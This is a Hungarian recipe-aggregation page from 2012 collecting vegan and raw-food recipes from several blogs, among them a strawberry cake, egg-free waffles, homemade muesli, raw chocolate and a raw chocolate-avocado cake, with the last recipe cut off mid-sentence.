Anyósom születésnapjára készítettem ezt a meglepetés tortát. Mivel kedvence az eper, 1 kg epret varázsoltam bele :-). Nem egészen olyan lett, mint amilyet szerettem volna, de végülis az ünnepeltnek ízlett, és ez a lényeg. Nem akartam túlbonyolítani, ennek prózai okai vannak: sajnos időm sem volt sok, másfelől pedig nem vagyok ügyes tortaformázó, egyszerűen nincsen türelmem és tehetségem hozzá. Ezért mindig egyszerű, mindennel együtt max. 50 perc alatt elkészíthető tortákat készítek. Hozzávalók: dupla adag vegán csokis piskóta 1 kg eper 3 zacskó vaníliapuding 10 dkg kókuszolaj 1,5 liter növényi tej 5 ek. karob mandulaszeletek 15 dkg nyírfacukor 1 rúd vanília Elkészítés: A piskótát a hagyományos módon elkészítettem. Az eprek felét négy fele vágtam, a többit félbe. A növényi tejet feltettem főni, a pudingokat összekevertem kb.10 ek.növényi tejjel, és amikor forrt a tej, akkor belekevertem, sűrűsödésig főztem,ekkor ízesítettem nyírfacukorral és vaníliával. Ha nem elég sűrű, akkor 2 ek. psylliumot keverhetünk hozzá, ez egy természetes sűrítőanyag. Majd a harmadát kivettem, és karobot adtam hozzá (elvileg, de mivel apósom és sógorom ezt nem szereti, most kértem kölcsön 5 ek. kakaót, és azt adtam hozzá:). Kihűtöttem a krémeket, ekkor arányosan elosztva hozzákevertem a megkeményített (hideg helyen tárolt) kókuszolajat. A piskótát félbe vágtam (nem volt magas, így nem jött volna ki több részre vágás), megkentem a karobos/csokis krémmel, majd rászórtam a negyedbe vágott epreket, erre jött a vaníliapuding. Majd ismét a piskóta. Az egészet a vaníliakrémmel vontam be, és a félbevágott eprekkel, ill. mandulaszeletekkel díszítettem. Nem lett valami díjnyertes a kinézete sem. De azért elég gyorsan elfogyott:-)
Kókusztejes gyöngybab (vegán)
2012. május 14. Dulmina tündérkonyhája
Első találkozásunk a kókusztejjel. Én olvastam már róla, csak enni nem ettem még, Isti meg nézett nagyot, hogy nem édességbe szánom. Hanem bablevesbe. Ami inkább főzelék állagú. Bár amikor megkóstolta és nagyjából beazonosította az összetételét, Isti azt mondta rá, hogy ez saláta. Akármi is, finom volt! Nem mondom, hogy ezentúl minden nap ilyet ennék, de alkalomadtán érdemes kipróbálni valami
Túrógombóc másképpen
2012. május 11. Vegetáriánus ételek
Túrógombóc másképpen - DesszertTúrógombóc másképpen Összetevők (4 főre ):15 dkg tönkölygríz 5 dkg kukoricadara 8 evőkanál kókuszolaj (ebből 3 evőkanál a morzsa elkészítéséhez kell) 5 dkg kókuszreszelék 5 dkg nádcukor 1 db citrom héja 25 dkg túró 5dkg búzacsíra 5 dkg búzakorpa Ízlés szerint méz , fahéj , vaníliás joghurt Ennél a túrógombócnál két féle újítást is alkalmazunk: az egyik, hogy a gombóc nem sima búzagrízből, hanem tönkölygrízből és kukoricadara keverékéből (tojás hozzáadása nélkül készül!), a másik pedig az, hogy a ,,lényeg nem fő ki a főzővízbe, mert a főzővíz benne marad a gombócban. A túrógombóc elkészítése Kókuszolajon megpirítjuk a tönkölygrízt, és vele együtt megpirítjuk a többi hozzávalót is, úgymint kókuszreszelék, nádcukor, reszelt citromhéj és kukoricadara. Ezt 3x-os mennyiségű forró sós vízzel felöntjük, majd lefedve állni hagyjuk, majd még melegen hozzákeverem az áttört túrót. Ezután vizes kézzel vagy kanállal gombócokat formázunk, és kókuszolajon megfuttatott búzacsíra-búzakorpa keverékében megforgatjuk. Tálaláskor mézes fahéjjal, vagy mézes vaníliás joghurttal öntjük le. Előkészítési idő: 15 perc Elkészítés időtartam: 25 perc Rigó László Vezető Séf
az a bizonyos GOFRI (waffel)
Gyermekkoromban, amikor Decsen nyaraltam egy házaspárnál, akik szüleimmel barátok voltak, emlékszem, egyik nap waffelt ettünk. (Waffel ugyanaz szinte, mint a gofri, csak attól függ, melyik országban kívánod fogyasztani. Németek és az osztrákok inkább waffelt esznek. Tésztában csak némi különbség van. Lényegében mindkettő esetben négyzetrácsos tésztaféleségről van szó.) Meg sem merem mondani, tizenegy-két évesen hány gofrit cuppantottam be. Csak azt tudom, hogy a másik két gyerekkel szemben én nyertem a gofrievő versenyt. De ez csak azért lehetett, mert akkoriban alig pár évvel voltunk túl a rendszerváltáson és waffelsütője annak volt, aki Németországból vagy Ausztriából hozott, vagy hozatott. Míg barátaink ilyen úton beszereztek gofrisütőt, addig mi csak egy alkalommal kölcsönkértük tőlük. Szép idők voltak azok! Ma már könnyedén hozzájuthatsz, ha bemész egy nagyobb üzletlánc hálózatának boltjába és az elektronikai részlegen körülnézel. Néhány éve mi is beújítottunk egyet - pár ezer forint volt.Mivel nem az egészséges táplálkozás élfutára ez az étel, így az utóbbi időben igyekeztem elkerülni, noha mindig vágytam arra, hogy valahogy egészségesebben süssek néhány waffelt. Mígnem egyik nap csak egy hirtelen gondolat átsuhant a szürkeállományomon, hogy igazából a palacsinta és a nokedli tésztája közötti átmenetet kellene reprodukálni.Hát így született meg az a bizonyos GOFRI, tejmentesen és tojásmentesen, ellenben friss, ropogós tésztával. A recept: Hozzávalók: - 10 dkg teljes kiőrlésű liszt - 20 dkg fehér liszt - 1/2 l növényi tej - 1 csipet só - 1 mokkáskanál szódabikarbóna - 2 evőkanál gyümölcscukor - 5 dkg lenmag (őrölve) - 5 dkg kókuszzsír Elkészítés:Gyorsabban elkészül a tésztája, mint maga sütés, de egy baráti együttlét, beszélgetés is észrevétlenné teszi a sütésre szánt 30-45 percet.Először a száraz hozzávalókat elkeverjük, majd a növényi tejből kb. 3 dl segítségével átkeverjük a tésztát. A tejet felmelegítjük a kókuszzsírral együtt, így biztos, hogy jól elegyedik a kókuszzsír a tésztában. A felmelegített kókuszzsíros tejet hozzáöntjük a tésztához és alaposan átkavargatjuk. Amikor csomómentes, hozzáállunk megsütni a gofrikat.A waffelsütőt először felmelegítjük. Amikor már elég meleg, a két belső talpát (alsó és felső) megkenjük kókuszzsírral, így elkerülve azt, hogy esetlegesen az első leragadjon.A fenti mennyiségből kb. 10 db gofri lesz. A tésztát minden második megsült gofri után érdemes átkavarni, mert sűrűsödik. Lehetséges, hogy kevés vizet is hozzá kell keverni. A lényeg, hogy a tészta mindig a palacsintatésztánál valamivel sűrűbb legyen.Az őrölt lenmag és a teljes kiőrlésű liszt rostban gazdagabbá teszi, cukorbetegeknek is így ajánlatos elkészíteni.Aki sós gofrit szeretne készíteni, az egyszerűen a gyümölcscukrot kihagyhatja belőle. Kukoricapástétommal, vagy más zöldséges krémmel megkenve bizonyára ízletes csemege.Fenomenálisan finom szilvalekvárral fogyasztottuk. A lekvárt férjem munkatársától kaptuk, valami szívességért cserébe. Ő készítette. Ezúton látatlanul is köszönöm szépen neki!Szeretem az ilyen ajándékokat!:) Lekvár, olaj, hm....!:) Én is szoktam ilyenekkel kellemesen időt tölteni, de erről majd máskor írok.
Ismét házi müzli- a legjobb :-)
2012. május 4. Mindennapi ételeink
Házi müzli, hogy ne kelljen sok pénzt költeni + tartósítószert és cukrot enni (bolti müzlik). Hozzávalók: 500 ml kis méretű zabpehely 300 ml mandulaszelet/pálcika 150 ml kókuszreszelék 125 ml méz 125 ml extra szűzolívaolaj --- 60 ml jumbo mazsola, négyfele darabolva 60 ml datolya, négyfele darabolva 10 ml aszalt ribizli Elkészítés: A zabpelyhet, kókuszt és mandulát összekeverjük. Ehhez hozzáöntjük az olajat és a mézet. Összekeverjük és egy sütőpapírral kibélelt tepsibe beletesszük, és 160-180 fokon elkezdjük sütni. Vigyázzunk rá, közben keverjük meg. Kb. 30 perc alatt elkészül. A végén keverjük hozzá az aszalványokat.
Medvehagymás-lenmagos pogácsa
2012. április 27. Mindennapi ételeink
Eddig bírtuk medvehagyma nélkül. Még nem a fagyasztóból szedtem elő egy adagot, hanem frissen kaptuk ajándékba! Nem volt mit tenni, pogácsát és pestót kellett készíteni. Ez utóbbiról később írok. Hozzávalók: 25 dkg liszt (fele teljes kiőrlésű, fele finomliszt) 12 dkg kókuszolaj 1 dl víz 1 tk. méz 1 nagy csokor medvehagyma 2,5 dkg élesztő só lenmagpehely Elkészítés: Az élesztőt kevés mézes vízben felfuttatjuk. A liszteket, sót és a kókuszolajat összekeverjük. Ehhez öntjük az élesztőt és a maradék vizet. Elkezdjük dagasztani. Nagyon lágy tésztát kapunk, amelybe a végén keverjük bele a felaprított medvehagymát is. 1 órát kelesztjük. Ekkor nagyon vékonyra kinyújtjuk és megkenjük egy kevés felolvasztott kókuszolajjal. Ráhajtjuk oldalról és elölről-hátulról a tésztát, és hagyjuk. Majd ismét kinyújtjuk, megkenjük, hajtogatjuk. A hajtogatás közt kb. 10 percet hagyunk. Én négyszer hajtogattam. Majd kiszaggattam és 30 perc alatt kisütöttem. Az illata és az íze is zseniális. :-)
Sonkás Padlizsán - Roppanós Brokkolival
2012. április 23. Fittanyuka Blog
A Fittanyuka Lúgosító ételek facebook oldalon nagyon tetszett nektek ez a recept az előzetesben. Bátran elkészíthetitek a hétköznapokban, mert gyors, egyszerű és akár vacsorára is fogyasztható. Én a családnak tönköly,- orsó tésztával tálaltam, jómagam pedig csíkokra vágott jégsalátával falatoztam. Hozzávalók: 1 db kisebb padlizsán 1/2 brokkoli, rózsáira szedve 150 g füstölt gabona gömböc 1/2 db vörös hagyma kókusz olaj 200 ml növényi tejszín 1 evőkanál kukorica keményítő 2 cikk fokhagyma 1 kk himalaya só késhegynyi zöld bors szárított kakukkfű 1 dl víz A padlizsánt, a gabona sonkát vékony csíkokra vágjuk. A kókusz olajon megdinszteljük a hagymát, majd a padlizsánt a gömböccel együtt pár percig pirítjuk. 1 dl vizet hozzáöntünk és 4-5 percig pároljuk, majd sózzuk, fűszerezzük. Közben a tejszínt csomómentesen elkeverjük keményítővel, belepréseljük a fokhagymát és hozzáadjuk sonkás padlizsánhoz. Addig keverjük ameddig besűrűsödik és lehúzzuk a tűzről. A brokkolit pedig ujjnyi vízben roppanósra pároljuk. Utólag hozzáadjuk a raguhoz. Ízlés szerint még utófűszerezhetjük a fokhagymával, kakukkfűvel. Tipp : Ha a vízben amibe a brokkolit pároljuk késhegyni szódabikarbónátot teszünk a brokkoli rózsák üde zöldek maradnak! Ha mindezt pároló edényben tesszük meg, akkor a rózsákat párolás előtt pár másodpercre a forró, szódabikarbonátos vízbe mártjuk! Fittanyuka Lúgosító ételek a facebookon Fittanyuka
Őszibarackos gesztenyetorta
2012. április 22. Mindennapi ételeink
Ezt a tortát sütöttem idén férjem születésnapjára, mivel nagyon szereti a gesztenyét és az őszibarackot is :-) Hozzávalók: 15 dkg teljes kiőrlésű liszt 35 dkg finomliszt 15 dkg nyírfacukor 12 ek. Pithari extra szűz olívaoolaj 1 tk. Arm& Hammer szóda 5 dl kukoricatej -- 1 kg fagyasztott gesztenyepüré 10 dkg kókuszolaj kb.10 dkg nyírfacukor 1 konzerv őszibarack Elkészítés: A tészta hozzávalóit összeöntjük és alaposan kikeverjük. Olajozott, lisztezett tepsibe öntjük. Közepes lángon sütjük, kb. 50 percig, a végén lejjebb vesszük a lángot. Kitűnő piskóta lesz, tojás nélkül! A krém hozzávalóit is alaposan összekeverjük. A piskótát három fele vágjuk. A krémet szintén három fele szedjük: megkenjük először az első lapot, megszórjuk a feldarabolt barackkal, majd a második lapot is, és végük a torta külsejét is.
Húsvéti tortácska..
Véget ért az áldásos böjt, ami számomra mindig csodálatos élményeket nyújt. Idén nem sikerült teljesen elvonulnom a munkától, teendőktől, de igyekeztem némi időt szakítani az elmélyülésre, Csend- teremtésre. (Itt részletesebben is leírtam egy régebbi böjtömet, idén pedig Ági is sok hasznos információt osztott meg a léböjttel kapcsolatban) A végeredmény nagyon pozitív, remekül érzem magam, újult erővel vághatok neki az elkövetkezendő sűrű hónapoknak :) Ami még nagyon nagy élmény volt számomra, hogy idén a párom is együtt böjtölt velem, és ez egy csodálatos ajándék. A húsvéti nagy evések nálunk kimaradtak, nosztalgiával idézem fel- mindenféle sóvárgás nélkül- édesanyám füstölt sonkáját és az annak levében főtt tojásokat, amit mindig sok tormával és kaláccsal fogyasztottunk. Nekünk most könnyű, nyers zöldséges ételek jutnak isteni medvehagyma pestoval (amit idén csíráztatott-aszalt napraforgómaggal készítettem). A tegnapi édesség pedig egy körtetorta volt csokoládé öntettel, ami annyiban érdekes, hogy a töltelékét léböjtről maradt gyümölcspépből készítettem. A tésztához: 15 dkg mandula (aszalt) 15 dkg aszalt hajdinacsíra 20 dkg dió (aszalt) 1 ml ceyloni fahéj 13 dkg magozott iráni datolya 1 csipet Himalája só A töltelékhez: 2 bögre körte és almapép 1 mk citrushéj (én yuzu-t használtam) 1 darabka vanília 3 ek kókuszcukor 1 ek mesquite por 1 ek lucuma por 3 ek őrölt mandula 2 ek útifű maghéj díszítés: 2 db közepes méretű körte 2 ek juharszirup kevés fahéj csokoládé öntet: 6-8 dkg mandula, áztatva 3 ek kókuszreszelék 3 ek kókuszcukor kevés vanília 2 ek karobpor 3 ek nyers kakaópor 1 ek kókuszolaj, olvasztott A tészta összetevőit a datolya kivételével aprítjuk robotgépben, majd a datolyát a fűszerekkel és 1/2- 1 dl vízzel összeturmixoljuk. Összedolgozzuk a masszát a magos keverékkel, majd egy 25 cm átmérőjű piteformába egyenletesen belenyomkodjuk a tésztát. Nem létfontosságú, de ha ropogós tésztát szeretnénk, aszaljuk kb egy éjszakán át. A díszítéshez szükséges körtéket kb 1/2 cm vastag szeletekre vágjuk, átforgatjuk a juharsziruppal és a fahéjjal, majd aszaljuk néhány órán keresztül. A töltelék összetevőit összeturmixoljuk vagy összekerjük, majd beletöltjük a tésztánkba. Tetszés szerint elrendezzük a tetején a félig aszalt körteszeleteket. A csokiszósz összetevőit annyi vízzel turmixoljuk össze, hogy öntet állagot kapjunk. Ehhez kb. 1 1/2- 2dl vízre lesz szükségünk.
Nyers csoki - húsvétra
2012. április 8. Gitta nyersétel blogja
Házi készítésű nyers csokinyuszik Sokféleképpen lehet nyers csokit készíteni, alapszabály: valamilyen jó minőségű zsiradék (ez lenne a kakaóvaj ideális esetben. A boltokban kapható csokinyuszikban általában nincsen kakaóvaj, meg kell nézni az összetevőket), kakaópor és édesítőszer kell hozzá. Az így készített csokiban biztosan nem lesz semmilyen olyan anyag, ami káros lenne. Cserébe viszont nem tartható el sokáig, 1-2 hét után megváltozik az íze. Nem lesz rossz, de ez így tényleg csak frissen jó. (hát nem teszünk bele tartósítószert, tényleg!) Ezek a fő összetevők. Ez a nyers csoki így még tényleg nyers lesz, olvad a kezedben, a szádban, és a kakaón és az édesen kívül nem lesz más íze. A tavasz virágaival Az állagán lehet javítani valamilyen őrölt maggal, legjobb választás a kesudió, vagy a mandula. Ettől kicsit krémesebb lesz, olyan, mint a tejcsoki. Lehet hozzá tenni kevés kókuszolajat is, ettől is puhább lesz (és nem utolsó sorban olcsóbb) Édesítőszernek cukron kívül bármit használhatsz, mézet, agavé szirupot, xilitet, stéviát... Ízesítés: pár csepp citromlé kicsit megélénkíti az ízeket, ezt mindenképpen ajánlom. Aszalt gyümölcsökkel, durvára tört diófélékkel lehet dúsítani, reszelt citromhéj, narancshéj, kardamom és mentaolaj is kerülhet bele. Amit sose keverj a nyers csokiba: friss gyümölcsöt, vizet, növényi tejszínt, vagy bármilyen vizes alapanyagot, mert nem fog összeállni, a csoki csak egy folyékony massza marad. tojások, nyuszik, virágok... Alaprecept: 1 csésze kakaóvaj (egy részét lehet helyettesíteni kókuszzsírral, krémesebb és olcsóbb lesz) 1/2 csésze kakaópor 1/2 csésze finomra őrölt mandula méz ízlés szerint (kb 1 evőkanál) pár csepp citromlé reszelt citromhéj, reszelt narancshéj A kakaóvajat gőz fölött megolvasztjuk, és hozzákeverjük a többi hozzávalót.Hogy megóvjuk az értékes összetevőket, antioxidánsokat, ne hevítsük 43 fok fölé! Ezt úgy tudjuk elérni, hogy vizet forralunk kis lábaskában, hőálló edényt teszünk a tetejére. A kakaóvajat akkor tesszük az edénybe, amikor a víz felforrt, és a tüzet elzártuk alatta. Ezután folyamatosan kevergetjük, hogy egyenletes legyen a hőfok, és szépen megolvadjon a kakaóvaj. Ha van aszalógépünk, az a legegyszerűbb, beállított hőfokkal betesszük a gépbe, és megvárjuk, míg megolvad. Keverjük simára, a hőmérsékletének kéz-melegnek kell lennie. Formákba töltjük, és 5 percre (vagy amíg megszilárdul) betesszük a fagyasztóba. Ezután vegyük ki, és tegyük át a rendes hűtőszekrénybe. A csokimasszának gyorsan kell megszilárdulnia, mert az alkotórészek könnyen szétválnak. Próbáld csak ki, ha kint hagyod a konyhapulton, akkor azt tapasztalhatod, hogy a méz feljön a tetejére. Tavaszi virág a kertből! Ha én csokit csinálok, nálunk az egész konyha úszik a csokiban. Az illatok csábítóak! úgy kell elhessegetni a gyerekeket, hogy ne akarják megenni a csokit még melegen, mielőtt elkészül. Milyen illata van!
Spenótos Pasqualina
2012. április 6. Fittanyuka Blog
Az olaszok egyik kedvelt húsvéti, hagyományos receptje a spenóttal, eredetileg ricottaval, tojással készített, leveles tésztába becsomagolt és ropogósra sütött sós sütemény. Ezt átreformáltam az állati fehérjék mellőzésével. Hidegen - melegen kitűnő ünnepi recept. Hozzávalók: 1 csomag kész leveles tészta 500 g aprított, párolt spenót 3 cikk fokhagyma 100 ml kókusz tejszín 300 g natúr tofu 100 g növényi, olvadó, növényi sajt ( elhagyható) 1 kk himalaya só késhegynyi örőlt zöld bors 1/2 szárított kakukkfű 2 evőkanál kukorica keményítő friss petrezselyem zöld A spenót leveleket tisztítás után víz gőz felett , vagy kevés vízzel megpároljuk, leszűrjük és késsel felaprítjuk. A tofut, sajtot kis lyukú sajtreszelőn lereszeljük és összekeverjük a spenóttal, fokhagymával, sózzuk, fűszerezzük. Hozzákeverjük a keményítővel elkevert növényi tejszínt. Pihentetjük 20 percet. A kikent formába belehelyezzük a leveles tésztát, ráhalmozzuk a spenótot és becsomagoljuk a tésztával. Tetejét lekenjük olajjal vagy növényi tejszínnel és 180 C fokon 30 percig aranybarnára sütjük! Kellemes Húsvéti Ünnepeket! Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Vörösáfonyás köles
Kölest sokszor fogyasztok reggelire, semleges ízű, nem kell kevergetni, 20 perc alatt megfő és lúgosít. Készítettem már körtével, karobbal, karobbal másképp, gombócnak, kölestúrónak , túrós rétesnek, de került goffriba is. Arról meg nem is szólok, hogy sósabb ízvilággal mi minden kerekedett ebből az alapanyagból. Most nagyon egyszerűen megfőztem, picit ízesítettem, és már vihető is. 5 perc munka, kb. 20-25 perc főzés. Hozzávalók: 1 bögre köles 3 bögre víz 2 ek kókuszreszelék 1 ek vörös áfonya 6-8 csepp sztívia /2-3 ek méz 1 csipet só A kölest háromszoros mennyiségű vízzel és a csipet sóval feltesszük főni. Addig figyelünk rá, amíg felforr, hogy ki ne fusson, azután főhet magában. Összesen 25 percet főzzük, és nem kavargatjuk meg egyszer sem. Amikor megfőtt, hozzáadjuk a sztíviát/gyümölcscukrot/agave szirupot stb., az áfonyát és a kókuszreszeléket. Összekeverjük, és el is készült. Friss gyümölcsökkel fogyasszuk. A candidások a kókuszreszeléket hagyják ki, helyette darált mandulával javaslom megszórni, és savanykás almával fogyasztani.
Narancsos csokitorta
2012. március 30. Gitta nyersétel blogja
Sokan várják már a narancsos csokitorta receptjét! Nagy sikere volt a fesztiválon is. Elkészítheted otthon magadnak, és meg is rendelheted tőlünk, rendeles@nyersetelakdemia.hu A képen látható torta a Nyersétel Akadémián készült, szakácsunk Varga István készítette. Narancsos csokitorta felvágva Hozzávalók Alap: 2 csésze dió (beáztatva) 2 csésze áztatott datolya1/2 csésze kókuszreszelék (opcionális) 3 evőkanál kakaópor csipet só A hozzávalókat aprítógépben morzsásra aprítjuk. Akkor jó az állaga, ha a gépben még morzsás, de ha az ujjunkkal összenyomjuk, akkor összetapad. A kókuszreszelékkel a szilárdságot lehet beállítani, ha túl lágy lenne a tészta, akkor kell használni, egyébként elhagyható. A masszát belenyomkodjuk egy tortaforma aljába úgy, hogy körben 4-5 cm-es pereme legyen. Aszalógépben 3-4 órán keresztül, majd kivesszük a tortaformából, és még 1-2 órán át aszaljuk (vagy sütőben, nyitott ajtónál). A megaszalt torta alap sokáig eláll, és bármikor betölthető. Ha azonnal fogyasztjuk, akkor nem is szükséges aszalni, betöltjük a tortát, és már esszük is. Narancsos töltelék: 2 csésze mandula 4-5 frissen facsart narancs leve kiskanál méz, csipet citromhéj, kiskanál citromlé A mandulát beáztatjuk, a héját lehúzogatjuk. Aprítógépben finom morzsásra aprítjuk. Annyi narancslét teszünk hozzá, hogy egy sűrű, nem folyós masszát kapjunk. Azért nem írtam pontos mennyiségeket, mert a mandulától függ, hogy mennyi narancslét vesz fel (mennyire volt száraz, mennyi ideig áztattad...) Ízesítheted mézzel, kevés citromlével, narancshéjjal. Csokis töltelék: 1 csésze kesudió 1-2 kanál kakaóvaj (vagy kókuszolaj) 3 evőkanál kakaó 1 evőkanál méz 1 csésze datolya beáztatva A kesudiót porrá őröljük, turmixgépben simára keverjük kevés vízzel, a kakaóvajjal és a datolyával. Ezután hozzákeverjük a kakaót és a mézet, ezt már gép nélkül, kézzel jól eldolgozzuk. Ha túl sűrű lenne, akkor kevés vizet, ha túl híg, akkor még őrölt kesudiót tegyél bele. Egy jó állagú, krémes, mégis szilárd csokikrémet kapunk. A kakaóvaj vagy a kókuszolaj szobahőmérsékleten szilárd halmazállapotú, ezért az ízén kívül még a csokikrém szilárdságához is hozzájárul, jobban vágható, gusztusosabb lesz a tortánk. Narancsos csokitorta Összeállítás: Az alapra először a narancsos réteget kenjük úgy, hogy kb a perem feléig érjen. Ezután rásimítjuk a csokis réteget, majd egy hosszú késsel elsimítjuk a tetejét. Díszíthetjük reszelt narancshéjjal, csokidarabkákkal, mentalevéllel, stb. Jót tesz neki egy kis állás a hűtőszekrényben.
Kifőztük 2012/4.
2012. március 26. Dulmina tündérkonyhája
Megjelent a Kifőztük gasztromagazin áprilisi száma, melybe természetesen elsősorban a tavasz és a húsvét jegyében válogattuk a jobbnál jobb recepteket. Én az alábbiakkal készültem: Tormás lepényke Boros zöldségkrémleves Tormás zöldségkrémleves Almás-diós püspökkenyér Kakaós almakenyér Diós-mézes keksz Kókuszos zabkeksz csokoládésan A magazin a www.kifoztuk.hu oldalról
Fűszervaj
2012. március 23. Nyers konyha
Az alaprecept ugyanaz , mint a kesudióvajnál, csak itt kevertem bele petrezselymet. A petrezselyem lehet friss aprított vagy üvegben eltett. Amikor szezonja volt felvágtam, besóztam, egy üvegbe nyomkodtam és felöntöttem olívaolajjal. Ez a vaj persze elkészíthető akár snidlinggel, esetleg medvehagymával, bazsalikommal, attól függően, kinek mi a szimpatikus, minek van szezonja és mi van kéznél:) Fűszervaj: 100 gramm kesudió ( nyers natúr) 1 kiskanál kókuszolaj csipet só aprított petrezselyem A kesudiót kávédarálóban vagy nagy teljesítményű turmixgépben porrá őröljük. Hozzákeverjük az olajat és kész a natúr vaj. Ízlés szerint teszünk hozzá aprított friss vagy olajban eltett petrezselymet. Hűtőben tárolandó, de használat előtt pár perccel korábban érdemes kivenni, hogy kenhetőbb, puhább legyen.
Vasárnap megkóstolhatod:)
2012. március 20. Nyers konyha
Aki ellátogat március 25-én vasárnap a kőbányai Kőrösi Csoma Sándor Kulturális központba, az megnézheti hogyan készítem el ezt a finom almás- dió tortát és még kóstolót is kaphat belőle..... :) Ott találkozunk! ,,EGÉSZSÉG ÉS ÉLETIDŐ A teljes program a Kőrösi honlapján Almás- dió torta: Tészta: 2 csésze dió 1 csésze napraforgó 1,5 csésze kókuszreszelék 1 kiskanál fahéj késhegynyi vanília 2 citrom reszelt héja 5 kanál méz fél csésze víz A magokat 1 napot áztatjuk, lecsepegtetjük, majd a többi hozzávalóval betesszük az aprítóba, és jól összedolgozzuk. A kész tésztát csatos formába öntjük és belenyomkodjuk, úgy hogy körben a kezeinkkel 2-3 centiméter magas peremet képezünk, ami majd megfogja a tölteléket. Alma töltelék: 6 alma ( lereszelve) kiskanál fahéj 1 citrom leve 1 evőkanál útifűmaghéj Géppel lereszeljük az almákat, majd, a többi hozzávalóval összekeverjük és a tésztára simítjuk. Csoki krém: 1 avokádó 2 banán 4 evőkanál méz 1 kiskanál fahéj késhegynyi vanília 3 evőkanál kókuszolaj 4 evőkanál kakaó Turmixgépben vagy konyhai aprítóban krémesre keverjük és az almás rétegre egyengetjük. Kesudió krém: 4 evőkanál víz 2 evőkanál méz 1/2 citrom leve 1/2 csésze kesudió (érdemes legalább 1 órát vízben áztatni) A hozzávalókat turmixoljuk, majd eloszlatjuk a csokis rétegen. A tortát alma és kesudió darabokkal díszítettem. Szélét megszórtam kakaóporral.
Spenótos Karalábé Ragu - Kókusz tejszínnel
2012. március 19. Fittanyuka Blog
A legutóbbi Fittanyuka Főzőtanfolyam egyik fogása - receptje volt ez a könnyű, tavaszi ragu. Az édeskés kókusz tejszín és a fokhagyma íze keveredik a zsenge zöldségekkel. Hozzávalók: 2 db karalábé 1 db vöröshagyma 2 cikk fokhagyma 500 g spenót 1 evőkanál kókusz olaj 1 kk himalaya só késhegyni örőlt zöld bors 1-2 evőkanál kukorica keményítő 200 ml kókusz tejszín A zöldségeket megtisztítjuk, a karalábét felkockázzuk. A vöröshagymát apróra vágjuk. A felhevített kókusz olajon puhára dinszteljük a vörös hagymát, majd hozzáadjuk a karalábét, együtt pároljuk néhány percig. Csak addig pároljuk amíg még félkemény marad a karalábé, hozzáadjuk a spenót leveleket. Kevés vizet öntünk hozzá ( 0,5 dl ), sózzuk és lefedjük. Addig hagyjuk így amíg a spenót levelek össze esnek, fűszerezzük a zöld borssal. A kókusz tejszínt csomómentesen elkeverjük a keményítővel, hozzáadjuk a préselt fokhagymát is és hozzá öntjük a raguhoz, addig keverjük ameddig besűrűsödik. Köret lehet mellé főtt barna rizs, vagy basmati-jázmin rizs. Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
A világ legfinomabb nyers csokoládétortája
2012. március 14. Zizi kalandjai
Igen, tutira ki merem jelenteni, hogy ez a világ legfinomabb nyers csokoládétortája. Még arra is merészkedek, hogy kijelentsem, ez a világ legfinomabb csokoládétortája. Nem mondom azt, hogy készítsétek el. Inkább azt mondom, ha nem készítitek el, életetek egyik legcsokisabb élményét hagyjátok ki. Nyers, vegán, ráadásul legcsokisabb élmény? Ez meg, hogy lehetséges? Mindez azt is jelenti, hogy akkor ez egy egészséges édes élmény? Hát igen, ha leszámítjuk a benne lévő 100 gramm nádcukrot (én kókuszvirág cukrot tettem bele, de erről majd később), csak egészséges, tápláló, vitaminokban, ásványi anyagokban gazdag alapanyagokból áll. Alapját datolya, mandula és egy kis só adja. A mandula fehérjét, egyszeresen telítetlen (olajsav) és többszörösen telítetlen zsírsavakat, olajat, szénhidrátokat és ásványi sókat (kálium, kalcium, magnézium, vas, foszfor) tartalmaz, olaja pedig gazdag E-vitaminban. A datolya természetes cukortartalma rendkívül magas, de tartalmaz B-vitamint, kalciumot, magnéziumot, foszfort, rezet, káliumot, cinket illetve vasat is. Tekintélyes mennyiségű kalcium és a magnézium tartalma miatt könnyedén juthat a szervezet a szükséges kalciumhoz. Étkezési rosttartalma szintén nem lebecsülendő. A krém alapja az avokádó. A benne lévő többszörösen telítetlen zsírsavak rendkívül jó hatással vannak a szívre, az erekre és csökkentik a koleszterinszintet. B-vitaminjai segítik az agysejtek alváshormon- (melatonin-) termelését. Az avokádó csekély cukortartalma miatt a cukorbetegek számára is értékes, tápláló termés. A kakaó szuper élelmiszer, arányos mennyiségben a kakaópor és a jó minőségű csokoládé is örömet szerző és egyben az egészséget előmozdító táplálék. A kókuszvirág cukor a kókuszpálma bontatlan kókuszvirág nedvéből gyártott hagyományos cukor, fehérítetlen, finomítatlan, enyhén karamelles ízű. A kókuszcukor glikémiás indexe a nádcukoréval (68), a legtöbb mézével (55) és az agavéval (27-41) szemben alacsony (35). A kókuszcukornak magas kálium, magnézium, cink és vas tartalma van, természetes forrása a B1-, B2-, B3-, B6- és C-vitaminnak. 100%-ban szerves, feldolgozatlan, szűretlen, fehérítetlen természetes édesítőszer, nem tartalmaz tartósítószert és szinte pH semleges. Azt hiszem ezzel a sok-sok információval (forrás: Wikipédia, mmgonline, Facebook) meggyőztelek benneteket a torta egészséges voltáról, de most már jöjjön a recept, hogy elkészítése által az ízéről is meggyőződjetek. Röpke 20 perc alatt összedobható a torta, utána állni hagyjátok egy órát a mélyhűtőben, majd jöhet a tálalás. Én egy 18,5 cm-es formában készítettem, ez kb. 4 nagy, tömény szeletnek felel meg. El ne felejtsem megemlíteni annak az istennőnek a nevét, akitől ellestem ezt a receptet. Szóval végignéztem a River Cottage Veg Every Day című sorozatot, amelyben Hugh vállalja, hogy három hónapon keresztül vegetáriánusként táplálkozik. A sorozat minden részében elmegy valakihez, hogy tanuljon valami újat. Így jut el Laura Coxeter nyers étel specialistához, aki megmutatja neki ezt a tortát. Nyers csokoládétorta* Hozzávalók 4 főre (18,5 cm-es csatos formához): Torta alaphoz : - 100 g mandula - 70 g datolya, kimagozva - 1/2 teáskanál tengeri vagy Himalája só Krémhez : - 1 és 1/2 érett avokádó - 70 g nyers kakaópor (helyettesíthető normál cukrozatlan kakaóporral) - 50 g kókuszolaj - 100 g kókuszvirág cukor (helyettesíthető - lehetőleg nyers - nádcukorral) - 1 vaníliarúd kikapart magjai - csipet tengeri vagy Himalája só Ha van időnk, áztassuk be a mandulát hideg vízbe legalább 6 órára, majd szűrjük le. Az áztatás felszabadítja a mandulában lévő enzimgátlókat, így könnyebb megemészteni. Ha nincs időnk, akkor tegyük egyből a robotgépbe a mandulát, és daráljuk meg. Adjuk hozzá a kimagozott datolyákat és a sót. Dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. Ha nagyon száraznak érezzük, adjunk 